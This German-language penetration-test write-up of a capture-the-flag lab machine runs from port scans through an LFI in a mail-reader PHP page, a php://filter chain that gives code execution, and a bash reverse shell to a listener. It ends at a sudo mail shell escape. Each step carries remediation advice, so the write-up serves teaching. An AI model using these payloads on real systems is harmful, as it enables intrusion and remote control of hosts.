Analyse: Der Test beginnt mit der Identifizierung des Ziels im lokalen Netzwerk. Die Ziel-IP wird als `192.168.2.110` angegeben. Ein ARP-Scan (`arp-scan -l`) wird verwendet, um die zugehörige MAC-Adresse zu finden.
Bewertung: Der Scan ist erfolgreich. Die IP `192.168.2.110` ist aktiv und hat die MAC-Adresse `08:00:27:89:7a:de`, die auf `PCS Systemtechnik GmbH` (Oracle VirtualBox) hinweist.
Empfehlung (Pentester): Ziel bestätigt. Füge die IP mit einem sinnvollen Hostnamen (`mail.nyx`) zur lokalen `/etc/hosts`-Datei hinzu. Führe Portscans (TCP und UDP) durch.
Empfehlung (Admin): Standard-Netzwerküberwachung kann helfen, Scans zu erkennen.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.110
ARP-Scan
192.168.2.110 08:00:27:89:7a:de PCS Systemtechnik GmbH
Analyse: Die IP-Adresse `192.168.2.110` wird dem Hostnamen `mail.nyx` in der lokalen `/etc/hosts`-Datei zugeordnet. Dies vereinfacht die Ansprache des Ziels.
Bewertung: Standardverfahren für Penetrationstests.
Empfehlung (Pentester): Nutze den Hostnamen `mail.nyx` in nachfolgenden Befehlen.
Empfehlung (Admin): Keine Aktion erforderlich.
/etc/hosts
127.0.0.1 localhost
192.168.2.110 mail.nyx
Analyse: Ein UDP-Portscan wird mit Nmap durchgeführt (`nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000`). Es werden die Top 1000 UDP-Ports gescannt, mit hoher Geschwindigkeit (`-T5`, `--min-rate 5000`), ohne DNS-Auflösung (`-n`) und ohne vorherigen Ping-Scan (`-Pn`).
Bewertung: Der Scan zeigt keine eindeutig offenen UDP-Ports. 994 Ports werden als `open|filtered` gemeldet, was bedeutet, dass keine Antwort kam (typisch für gefilterte oder offene UDP-Ports). 6 Ports werden als `closed` gemeldet (ICMP Port Unreachable erhalten). UDP scheint kein vielversprechender Angriffsvektor zu sein.
Empfehlung (Pentester): UDP-Scan zur Kenntnis nehmen, aber den Fokus auf TCP-Dienste legen.
Empfehlung (Admin): Firewall nicht benötigte UDP-Ports. UDP-Scans sind oft "laut" und können durch Monitoring erkannt werden.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-17 21:41 CEST Nmap scan report for 192.168.2.110 Host is up (0.00053s latency). Not shown: 994 open|filtered udp ports (no-response) PORT STATE SERVICE 7/udp closed echo 18980/udp closed unknown 19130/udp closed unknown 20411/udp closed unknown 21247/udp closed unknown 49174/udp closed unknown MAC Address: 08:00:27:89:7A:DE (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
Analyse: Ein umfassender TCP-Portscan wird mit Nmap durchgeführt (`nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000`). Es werden alle TCP-Ports gescannt, Standard-Skripte ausgeführt, Versionen erkannt und ein aggressiver Scanmodus verwendet.
Bewertung: Der Scan identifiziert drei offene TCP-Ports: * Port 22 (SSH): Läuft OpenSSH 8.4p1 (Debian). * Port 25 (SMTP): Läuft Postfix smtpd. SSL/TLS scheint verfügbar (`STARTTLS`). Das Zertifikat ist selbst-signiert oder nicht vertrauenswürdig (`commonName=mail`) und hat eine lange Gültigkeit (bis 2033). Die SMTP-Befehle werden aufgelistet. * Port 80 (HTTP): Läuft Apache httpd 2.4.56 (Debian). Der Titel der Seite lautet "Email Reader". Die MAC-Adresse und OS-Schätzung (Linux) werden bestätigt. Der Hostname des Systems scheint `mail.home` zu sein (aus SMTP-Antwort).
Empfehlung (Pentester): Die Hauptangriffsvektoren sind SSH, SMTP und HTTP.
* **HTTP:** Untersuche die "Email Reader"-Anwendung auf Port 80 auf Schwachstellen (IDOR, LFI, RCE, SQLi).
* **SMTP:** Prüfe auf offene Relays, Benutzer-Enumeration (`VRFY`, `EXPN`, falls verfügbar), oder Schwachstellen in Postfix.
* **SSH:** Versuche später Bruteforce oder Default-Credentials, falls Benutzernamen gefunden werden.
Empfehlung (Admin): Aktualisiere OpenSSH, Postfix und Apache. Konfiguriere Postfix sicher (kein offenes Relay, Benutzer-Enumeration einschränken). Sichere die Webanwendung auf Port 80. Verwende gültige TLS-Zertifikate.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-17 21:41 CEST Nmap scan report for mail.nyx (192.168.2.110) Host is up (0.00015s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 25/tcp open smtp Postfix smtpd | ssl-cert: Subject: commonName=mail | Subject Alternative Name: DNS:mail | Not valid before: 2023-05-13T14:36:50 |_Not valid after: 2033-05-10T14:36:50 |_ssl-date: TLS randomness does not represent time |_smtp-commands: mail.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-server-header: Apache/2.4.56 (Debian) |_http-title: Email Reader MAC Address: 08:00:27:89:7A:DE (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: mail.home; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms mail.nyx (192.168.2.110) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
Analyse: Ein Nikto-Scan wird gegen den Webserver auf Port 80 ausgeführt, um nach bekannten Schwachstellen und Konfigurationsfehlern zu suchen.
Bewertung: Nikto bestätigt die Apache-Version und findet ähnliche Ergebnisse wie beim Nmap-Scan: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Möglicher ETag-Inode-Leak (`CVE-2003-1418`). * Standard HTTP-Methoden (`GET`, `POST`, `OPTIONS`, `HEAD`). Keine kritischen Schwachstellen wurden durch Nikto direkt aufgedeckt, aber die fehlenden Header deuten auf eine mangelnde Härtung hin.
Empfehlung (Pentester): Notiere die Ergebnisse. Fokussiere dich auf die manuelle Untersuchung der "Email Reader"-Anwendung.
Empfehlung (Admin): Implementiere die fehlenden Sicherheitsheader. Deaktiviere die ETag-Inode-Komponente in der Apache-Konfiguration (`FileETag MTime Size`).
Nikto Scan - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.110 + Target Hostname: 192.168.2.110 + Target Port: 80 + Start Time: 2024-09-17 21:42:41 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 10f, size: 5fb9a9639a7d2, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-09-17 21:43:12 (GMT2) (31 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein Gobuster-Scan (`gobuster dir`) wird auf das Root-Verzeichnis des Webservers (`http://192.168.2.110`) ausgeführt, um Verzeichnisse und Dateien zu finden.
Bewertung: Der Scan findet neben der `index.html` zwei interessante Pfade: `/1` und `/2`. Beide geben den Statuscode 200 (OK) zurück und scheinen Inhalte zu haben. Dies sind ungewöhnliche Pfadnamen, die auf eine mögliche Schwachstelle oder eine ungewöhnliche Konfiguration hindeuten könnten.
Empfehlung (Pentester): Untersuche die Inhalte der Pfade `/1` und `/2` manuell (z.B. mit `curl` oder im Browser). Prüfe, ob es weitere numerische Pfade gibt. Untersuche, ob diese Pfade Parameter akzeptieren oder ob sie auf eine IDOR- (Insecure Direct Object Reference) oder LFI-Schwachstelle hindeuten.
Empfehlung (Admin): Vermeide einfache, numerische Pfade für den Zugriff auf Ressourcen, wenn diese nicht Teil einer gut gesicherten API sind. Stelle sicher, dass keine sensiblen Informationen über solche Pfade zugänglich sind.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.110 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,405,500 [+] User Agent: gobuster/3.6 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Ignore SSL error: true [+] Timeout: 10s =============================================================== 2024/09/17 21:43:30 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 271] /1 (Status: 200) [Size: 335] /2 (Status: 200) [Size: 365] =============================================================== 2024/09/17 21:44:45 Finished ===============================================================
Analyse: Der Inhalt der zuvor gefundenen Pfade `/1` und `/2` wird manuell abgerufen und angezeigt.
Bewertung: Die Pfade `/1` und `/2` enthalten E-Mails zwischen den Benutzern `abel` und `cain` (die Namen könnten aus `/etc/passwd` stammen, falls dieses bereits via LFI gelesen wurde, oder es sind neue Benutzernamen). Der Inhalt legt nahe, dass `cain` Zugangsdaten verloren hat und `abel` sich über den Boss beschwert. Dies ist eine signifikante Informationspreisgabe (Information Disclosure) und bestätigt die Benutzernamen `abel` und `cain`.
Empfehlung (Pentester): Notiere die Benutzernamen `cain` und `abel`. Versuche diese für SSH-Login oder andere Dienste zu verwenden. Prüfe, ob weitere numerische Pfade existieren und ob sich dahinter eine Struktur (z.B. ein Skript wie `view_email.php?id=1`) verbirgt, die für LFI/IDOR anfällig sein könnte.
Empfehlung (Admin): **Kritisch:** Behebe die Schwachstelle, die den Zugriff auf E-Mails über einfache URLs ermöglicht. Dies könnte eine IDOR-Schwachstelle sein. Implementiere Zugriffskontrollen und vermeide die direkte Exposition interner Daten über das Web.
http://192.168.2.110/2 From abel@mail.nyx Sat May 13 19:09:11 2023 Return-Path:X-Original-To: cain Delivered-To: cain@mail.nyx Received: from localhost ([127.0.0.1]) by mail.nyx (Postfix) with SMTP id CA55B5DD for ; Sat, 13 May 2023 19:09:11 +0200 (CEST) Subject: none Hi Cain! our boss is human trash, he doesn't pay me overtime... I'm very angry right now Abel Regards http://192.168.2.110/1 From cain@mail.nyx Sat May 13 18:04:51 2023 Return-Path: X-Original-To: abel Delivered-To: abel@mail.nyx Received: from localhost ([127.0.0.1]) by mail.nyx (Postfix) with SMTP id CA55B5DD for ; Sat, 13 May 2023 18:03:31 +0200 (CEST) Subject: Important Hi Abel! we are screwed, I lost the access credentials. Cain Regards
Analyse: Eine Schleife wird verwendet, um die Pfade `/1` bis `/500` abzurufen und Zeilen mit einem `@`-Symbol zu extrahieren, um weitere E-Mail-Adressen oder Header zu finden.
Bewertung: Die Schleife bestätigt, dass nur die Pfade `/1` und `/2` im Bereich 1-500 relevante `@`-Zeichen enthalten (die E-Mail-Header). Es werden keine weiteren E-Mails oder Benutzer auf diese Weise gefunden.
Empfehlung (Pentester): Da die numerischen Pfade eine Sackgasse zu sein scheinen, suche nach dem Skript, das diese Inhalte bereitstellt. Versuche gängige Namen wie `read.php`, `view.php`, `email.php` oder spezifisch `emailreader.php` (basierend auf dem Seitentitel) mit einem ID-Parameter (z.B. `?id=1`).
Empfehlung (Admin): Behebe die zugrunde liegende Schwachstelle (wahrscheinlich IDOR/LFI), die den Zugriff auf `/1` und `/2` erlaubt.
1 From cain@mail.nyx Sat May 13 18:04:51 2023 Return-Path:Delivered-To: abel@mail.nyx 2 From abel@mail.nyx Sat May 13 19:09:11 2023 Return-Path: Delivered-To: cain@mail.nyx 3 4 ... (Leere Ausgaben für 3-500) ... 500
Analyse: Es wird die URL `http://192.168.2.110/emailreader.php?id=12` aufgerufen (vermutlich im Browser oder mit curl). Anschließend wird versucht, über denselben Parameter (`id`) eine Local File Inclusion (LFI) durchzuführen, um `/etc/passwd` auszulesen.
Bewertung: Der Zugriff auf `id=12` (und vermutlich andere IDs) funktioniert und zeigt E-Mail-Inhalte. Der entscheidende Schritt ist der LFI-Versuch mit `id=../../../../../../../../../etc/passwd`. Dieser ist erfolgreich und gibt den Inhalt der Passwortdatei zurück. Dies bestätigt eine kritische LFI-Schwachstelle im `id`-Parameter von `emailreader.php`.
Empfehlung (Pentester): Kritische LFI gefunden! Nutze diese, um:
1. Systembenutzer zu bestätigen (`abel`, `cain`).
2. Weitere sensible Dateien zu lesen (z.B. `/etc/shadow` (unwahrscheinlich), SSH-Keys, Apache-Konfiguration, Quellcode von `emailreader.php`).
3. Auf Remote Code Execution (RCE) zu prüfen (PHP-Wrapper wie `php://filter`, `php://input`, `data://`; Log Poisoning).
Empfehlung (Admin): **Höchste Priorität:** Behebe die LFI-Schwachstelle in `emailreader.php` sofort! Sanitize den `id`-Parameter rigoros (z.B. nur erlaubte Zeichen/Zahlen zulassen, `basename()` verwenden, Pfade validieren). Beschränke die Leserechte des Webserver-Benutzers.
http://192.168.2.110/emailreader.php?id=12 http://192.168.2.110/emailreader.php?id=../../../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin cain:x:1000:1000:cain,,,:/home/cain:/bin/bash Debian-exim:x:106:112::/var/spool/exim4:/usr/sbin/nologin postfix:x:107:114::/var/spool/postfix:/usr/sbin/nologin abel:x:1001:1001::/home/abel:/bin/bash
root:x:0:0:root:/root:/bin/bash cain:x:1000:1000:cain,,,:/home/cain:/bin/bash abel:x:1001:1001::/home/abel:/bin/bash
Analyse: Die LFI-Schwachstelle wird nun mit `wfuzz` und einer Wortliste (`logfiles.txt`) gefuzzt, um automatisch weitere lesbare Dateien zu finden. Die Baseline-Antwort (leere Seite) hat 13 Chars, daher wird `--hh 13` verwendet, um diese auszublenden.
Bewertung: Wfuzz findet zahlreiche interessante Dateien, darunter: * `/etc/passwd`, `/etc/hosts`, `/etc/group` (bestätigt) * `/etc/apache2/apache2.conf` (Apache-Hauptkonfiguration) * `/etc/fstab` (Mount-Informationen) * `/etc/mysql/my.cnf` (MySQL-Konfiguration - falls MySQL verwendet wird) * `/proc/self/cmdline`, `/proc/self/stat`, `/proc/self/status`, `/proc/version` (Prozess- und Systeminformationen) * `/etc/crontab`, `/etc/issue` * `/etc/ssh/sshd_config` (SSH-Server-Konfiguration) * `/var/run/utmp`, `/var/log/wtmp`, `/var/log/lastlog` (Login-Informationen)
Empfehlung (Pentester): Lies die wichtigsten Konfigurationsdateien (`apache2.conf`, `sshd_config`, `my.cnf`, `crontab`) mittels LFI aus, um mehr über die Systemkonfiguration und potenzielle Schwachstellen zu erfahren. Untersuche die `/etc/apache2/apache2.conf` besonders auf `User` und `Group` Direktiven.
Empfehlung (Admin): LFI beheben! Beschränke die Leserechte des Webservers.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.2.110/emailreader.php?id=FUZZ Total requests: 2894 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000081: 200 31 L 43 W 1554 Ch "/etc/passwd" 000001089: 200 9 L 24 W 197 Ch "/etc/hosts" 000001093: 200 231 L 1121 W 7258 Ch "/etc/apache2/apache2.conf" 000001092: 200 17 L 111 W 819 Ch "/etc/fstab" 000001098: 200 31 L 176 W 1139 Ch "/etc/mysql/my.cnf" 000001108: 200 59 L 59 W 764 Ch "/etc/group" 000001277: 200 2 L 2 W 40 Ch "/proc/self/cmdline" 000001301: 200 3 L 6 W 110 Ch "/proc/cmdline" 000001300: 200 3 L 23 W 198 Ch "/proc/version" 000001298: 200 24 L 192 W 1055 Ch "/etc/crontab" 000001296: 200 22 L 80 W 773 Ch "/etc/issue" 000001311: 200 125 L 398 W 3302 Ch "/etc/ssh/sshd_config" 000001278: 200 3 L 54 W 333 Ch "/proc/self/stat" 000001279: 200 58 L 138 W 1363 Ch "/proc/self/status" 000001322: 200 2 L 3 W 1165 Ch "/var/run/utmp" 000001321: 200 28 L 79 W 70274 Ch "/var/log/wtmp" 000001320: 200 3 L 3 W 292597 Ch "/var/log/lastlog" Total time: 2.314928 Processed Requests: 2894 Filtered Requests: 2877 Requests/sec.: 1250.146
root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4: tty:x:5: disk:x:6: lp:x:7: mail:x:8: news:x:9: uucp:x:10: man:x:12: proxy:x:13: kmem:x:15: dialout:x:20: fax:x:21: voice:x:22: cdrom:x:24: floppy:x:25: tape:x:26: sudo:x:27: audio:x:29: dip:x:30: www-data:x:33: backup:x:34: operator:x:37: list:x:38: irc:x:39: src:x:40: gnats:x:41: shadow:x:42: utmp:x:43: video:x:44: sasl:x:45: plugdev:x:46: staff:x:50: games:x:60: users:x:100: nogroup:x:65534: systemd-journal:x:101: systemd-network:x:102: systemd-resolve:x:103: input:x:104: kvm:x:105: render:x:106: crontab:x:107: netdev:x:108: messagebus:x:109: systemd-timesync:x:110: ssh:x:111: systemd-coredump:x:999: cain:x:1000: Debian-exim:x:112: ssl-cert:x:113: postfix:x:114: postdrop:x:115: abel:x:1001:
Analyse: Der Inhalt der Apache-Konfigurationsdatei `/etc/apache2/apache2.conf` wird mittels LFI ausgelesen.
Bewertung: Der wichtigste Fund in dieser Datei (gegen Ende der Ausgabe) sind die Direktiven `User cain` und `Group cain`. Dies bestätigt, dass der Apache-Webserver (und somit der PHP-Prozess, der `emailreader.php` ausführt) nicht als der übliche Benutzer `www-data`, sondern als der Benutzer `cain` läuft. Dies ist eine ungewöhnliche und potenziell unsichere Konfiguration.
Empfehlung (Pentester): Diese Information ist entscheidend! Jegliche RCE, die über die Webanwendung erreicht wird, wird im Kontext des Benutzers `cain` ausgeführt. Passe die Angriffsstrategie entsprechend an. Der nächste Schritt ist, RCE als `cain` zu erlangen.
Empfehlung (Admin): Ändere den Apache-Benutzer und die Gruppe dringend auf einen dedizierten, unprivilegierten Benutzer wie `www-data`. Das Ausführen des Webservers als regulärer Benutzer erhöht das Risiko erheblich, falls der Webserver kompromittiert wird.
# This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. ... (Konfiguration gekürzt) ... # Include the virtual host configurations: IncludeOptional sites-enabled/*.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet User cain Group cain
127.0.0.1 localhost 127.0.1.1 mail # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
Analyse: Der Quellcode der verwundbaren Datei `emailreader.php` wird mittels LFI und dem `php://filter`-Wrapper (Base64-kodiert) ausgelesen.
Bewertung: Der Quellcode `php $file = $GET["id"]; if(isset($file)) { include("$file"); } ?>` wird erfolgreich extrahiert. Er bestätigt die extrem einfache und unsichere Implementierung der LFI: Der `id`-Parameter aus der GET-Anfrage wird ohne jegliche Prüfung oder Bereinigung direkt in die `include()`-Funktion übergeben.
Empfehlung (Pentester): Da der Quellcode bekannt ist, können nun gezielt RCE-Techniken angewendet werden. Da einfache LFI funktioniert und Apache als `cain` läuft, versuche RCE mittels PHP-Wrappern (`php://filter`, `php://input`, `data://`) oder Log Poisoning, um eine Shell als `cain` zu erhalten.
Empfehlung (Admin): Die Verwundbarkeit ist trivial. Behebe sie sofort durch korrekte Eingabevalidierung und -bereinigung.
php $file = $GET["id"]; if(isset($file)) { include("$file"); }
Analyse: Ein fortgeschrittener RCE-Versuch wird unternommen, der `php://filter` mit Zeichenkodierungs-Konvertierungen (`convert.iconv.UTF8.CSIS2022KR`) kombiniert. Ziel ist es, einen Befehl (`id`) über den `cmd`-Parameter auszuführen.
Bewertung: Dieser Angriff ist erfolgreich! Die Ausgabe `uid=1000(cain) gid=1000(cain) groups=1000(cain)` erscheint in der Antwort. Dies beweist, dass Code als Benutzer `cain` (wie erwartet, da Apache als `cain` läuft) ausgeführt werden kann. Diese Technik umgeht möglicherweise Filter oder Einschränkungen, die einfachere RCE-Versuche blockieren würden.
Empfehlung (Pentester): RCE als `cain` bestätigt! Nutze diese exakte URL-Struktur und ersetze `id` im `cmd`-Parameter durch einen URL-kodierten Reverse-Shell-Payload, um eine interaktive Shell als `cain` zu erhalten.
Empfehlung (Admin): Behebe die LFI-Schwachstelle. Aktualisiere PHP, da neuere Versionen möglicherweise einige Filter-Bypass-Techniken erschweren. Eine Web Application Firewall (WAF) könnte solche komplexen Angriffe erkennen, aber die Ursachenbehebung im Code ist essenziell.
http://192.168.2.110/emailreader.php?id=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|.../resource=php://temp&cmd=id
uid=1000(cain) gid=1000(cain) groups=1000(cain)
Analyse: Der RCE-Vektor wird genutzt, um eine Reverse Shell zu starten. Ein Netcat-Listener wird auf Port 4444 gestartet. Die RCE-URL wird aufgerufen, wobei der `cmd`-Parameter einen URL-kodierten Bash-Reverse-Shell-Befehl enthält (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`).
Bewertung: Der Angriff ist erfolgreich. Der Netcat-Listener fängt die Verbindung vom Zielsystem ab (`connect to [192.168.2.199] from (UNKNWN) [192.168.2.110] 34120`). Der `id`-Befehl in der neuen Shell bestätigt, dass der Zugriff als Benutzer `cain` (`uid=1000(cain)`) erfolgt ist.
Empfehlung (Pentester): Initial Access als `cain` erfolgreich! Stabilisiere die Shell (z.B. `python3 -c 'import pty;pty.spawn("/bin/bash")'`) und beginne mit der Enumeration für Privilege Escalation als Benutzer `cain`.
Empfehlung (Admin): LFI beheben! Egress-Filterung könnte die ausgehende Reverse-Shell-Verbindung blockieren.
listening on [any] 4444 ...
http://192.168.2.110/emailreader.php?id=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|.../resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.110] 34120 bash: cannot set terminal process group (481): Inappropriate ioctl for device bash: no job control in this shell cain@mail:/var/www/html$ id uid=1000(cain) gid=1000(cain) groups=1000(cain)
Analyse: In der Shell als `cain` werden grundlegende Verzeichnisse (`/var`, `/var/backups`, `/var/www`, `/opt`, `/tmp`, `~`) aufgelistet, um die Umgebung besser zu verstehen.
Bewertung: Die Verzeichnisstruktur scheint relativ standardmäßig zu sein. `/var/www` gehört `cain`, was zur Apache-Konfiguration passt. `/var/backups` enthält nur eine apt-Statusdatei. Das Home-Verzeichnis von `cain` enthält Standard-Dateien, wobei `.bash_history` nach `/dev/null` verlinkt ist (Spurenverwischung).
Empfehlung (Pentester): Führe umfassendere Enumeration durch: `sudo -l`, SUID/GUID-Dateien, Cronjobs, Kernel-Version, laufende Prozesse.
Empfehlung (Admin): Überprüfe die Berechtigungen von `/var/www`. Die Umleitung der Bash-History ist verdächtig.
cain@mail:/var$ ls -la total 48 drwxr-xr-x 12 root root 4096 May 13 2023 . drwxr-xr-x 18 root root 4096 May 13 2023 .. drwxr-xr-x 2 root root 4096 May 13 2023 backups drwxr-xr-x 10 root root 4096 May 13 2023 cache drwxr-xr-x 27 root root 4096 May 13 2023 lib drwxrwsr-x 2 root staff 4096 Jun 30 2022 local lrwxrwxrwx 1 root root 9 Jan 15 2023 lock -> /run/lock drwxr-xr-x 9 root root 4096 Sep 17 21:42 log drwxrwxrwx 2 root root 4096 May 14 2023 mail drwxr-xr-x 2 root root 4096 Jan 15 2023 opt lrwxrwxrwx 1 root root 4 Jan 15 2023 run -> /run drwxr-xr-x 6 root root 4096 May 13 2023 spool drwxrwxrwt 2 root root 4096 Sep 17 21:41 tmp drwxr-xr-x 3 cain cain 4096 May 13 2023 www cain@mail:/var$ ls -la backups/ total 16 drwxr-xr-x 2 root root 4096 May 13 2023 . drwxr-xr-x 12 root root 4096 May 13 2023 .. -rw-r--r-- 1 root root 8113 May 13 2023 apt.extended_states.0 cain@mail:/var$ ls -la www/ total 12 drwxr-xr-x 3 cain cain 4096 May 13 2023 . drwxr-xr-x 12 root root 4096 May 13 2023 .. drwxr-xr-x 2 cain cain 4096 May 14 2023 html cain@mail:/var$ ls -la /opt/ total 8 drwxr-xr-x 2 root root 4096 Jan 15 2023 . drwxr-xr-x 18 root root 4096 May 13 2023 .. cain@mail:/var$ ls -la /tmp/ total 8 drwxrwxrwt 2 root root 4096 Sep 17 21:41 . drwxr-xr-x 18 root root 4096 May 13 2023 .. cain@mail:/var$ ls -la ~ total 24 drwx------ 3 cain cain 4096 May 13 2023 . drwxr-xr-x 4 root root 4096 May 13 2023 .. lrwxrwxrwx 1 root root 9 Apr 23 2023 .bash_history -> /dev/null -rw------- 1 cain cain 220 Jan 15 2023 .bash_logout -rw------- 1 cain cain 3526 Jan 15 2023 .bashrc drwxr-xr-x 3 cain cain 4096 May 13 2023 .local -rw------- 1 cain cain 807 Jan 15 2023 .profile
Analyse: Suche nach SUID-Dateien wird als Benutzer `cain` durchgeführt.
Bewertung: Die Ergebnisse sind identisch zu den vorherigen Suchen. Es werden nur Standard-SUID-Binaries gefunden.
Empfehlung (Pentester): Prüfe `sudo -l` als nächsten Schritt.
Empfehlung (Admin): Keine neuen Erkenntnisse.
cain@mail:/var$ find / -type f -perm -4000 -ls 2>/dev/null 263828 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 263458 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 259697 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 259700 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 259698 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 263830 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 273381 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo 259701 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 263292 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 273849 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign 264755 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Der Befehl `sudo -l` wird als Benutzer `cain` ausgeführt, um dessen sudo-Berechtigungen zu prüfen.
Bewertung: **Kritischer Fund:** `cain` darf den Befehl `/usr/bin/mail` als Benutzer `abel` ohne Passwort ausführen (`(abel) NPASSWD: /usr/bin/mail`). Dies ermöglicht es `cain`, Befehle im Kontext des Benutzers `abel` auszuführen.
Empfehlung (Pentester): Nutze diese sudo-Regel zur horizontalen Bewegung (Lateral Movement) zum Benutzer `abel`. Führe `sudo -u abel /usr/bin/mail --exec='!/bin/sh'` (oder eine ähnliche Variante) aus, um eine Shell als `abel` zu erhalten.
